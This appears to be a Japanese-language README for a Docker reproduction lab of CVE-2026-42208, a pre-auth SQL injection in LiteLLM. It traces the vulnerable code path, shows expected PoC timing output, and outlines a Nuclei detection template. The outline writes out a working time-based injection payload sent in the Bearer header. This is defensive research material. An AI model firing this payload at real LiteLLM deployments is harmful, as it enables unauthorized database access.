
CVE-2026-42208 の再現ラボ。LiteLLM における致命的な認証前 SQL インジェクションです。脆弱性環境/修正済み環境の Docker ベースのセットアップ、タイミングベースの PoC エクスプロイト、およびセキュリティテスト用の Nuclei 検出テンプレートを含みます。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3 (重大) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 影響を受けるバージョン | >= 1.81.16, < 1.83.7 |
| 修正済み | v1.83.7 (パラメータ化クエリ) |
| CWE | CWE-89 (SQLインジェクション) |
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload> ← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Patched (v1.83.7):
Same request path, but:
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← parameterized, no injection
| # | 条件 | 詳細 |
|---|---|---|
| 1 | 影響を受けるLiteLLMバージョン | >= 1.81.16, < 1.83.7 |
| 2 | PostgreSQLバックエンド | SQLite環境は影響を受けません |
| 3 | 認証不要 | 事前認証、認証情報不要 |
| 4 | VerificationTokenに1行以上 | pg_sleepは行ごとに発火; 空のテーブルでは遅延なし |
ホストマシン
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ 脆弱)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ 修正済)
Docker: litellm-db-patched (PostgreSQL 15)
| ツール | インストール |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl, python3 | macOSにプレインストール済み |
bash scripts/01-setup.sh
When done:
══════════════════════════════════════════════════════
ラボ準備完了!
脆弱 (v1.83.6-nightly) : http://localhost:8010
修正済 (v1.83.7-stable) : http://localhost:8011
マスターキー : sk-lab-master-key
次: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
期待される出力 — 脆弱 (v1.83.6-nightly):
── Vulnerable (v1.83.6-nightly, port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
期待される出力 — 修正済 (v1.83.7-stable):
── Patched (v1.83.7-stable, port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
# 脆弱インスタンス → [critical] 検出が発生するはず
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# 修正済みインスタンス → 検出は発生しないはず
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
脆弱 (v1.83.6-nightly):

修正済 (v1.83.7-stable):

bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # コードレベル分析 (英語)
├── LAB_SETUP_GUIDE.md # ラボセットアップガイド (英語)
├── NUCLEI_TEMPLATE_GUIDE.md # Nucleiテンプレート設計 (英語)
├── docker-compose.yaml
│
├── REPORT/ # 韓国語レポート
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Nuclei検出テンプレート
│
└── scripts/
├── 01-setup.sh # コンテナ起動、シードキー作成
├── 02-exploit.sh # PoC: タイミングベースのインジェクション実証
└── 99-teardown.sh # ラボリソースの停止と削除
Step 1 GET /health/liveliness
→ ボディに"I am alive"が含まれる
→ ターゲットがLiteLLMインスタンスであることを確認
Step 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
マッチャー (AND — すべてが一致する必要があります):
status == 401 504/502の誤検出を排除
body contains "auth_error" OR "Authentication Error"
LiteLLM認証パスでありプロキシでないことを確認
duration >= 5 pg_sleep(6)が発火 → インジェクション確認
誤検出防止:
status == 401 はアップストリームのタイムアウト(504)やゲートウェイエラー(502)からの応答を排除しますduration >= 5 はネットワークジッターを除外するのに十分高い値です (ベースラインは≤0.5秒)警告: このラボ内のすべての認証情報は、セキュリティ研究目的のみの偽のテストデータです。本番環境では決して使用しないでください。所有していないシステムをスキャンする前に、必ず明示的な許可を得てください。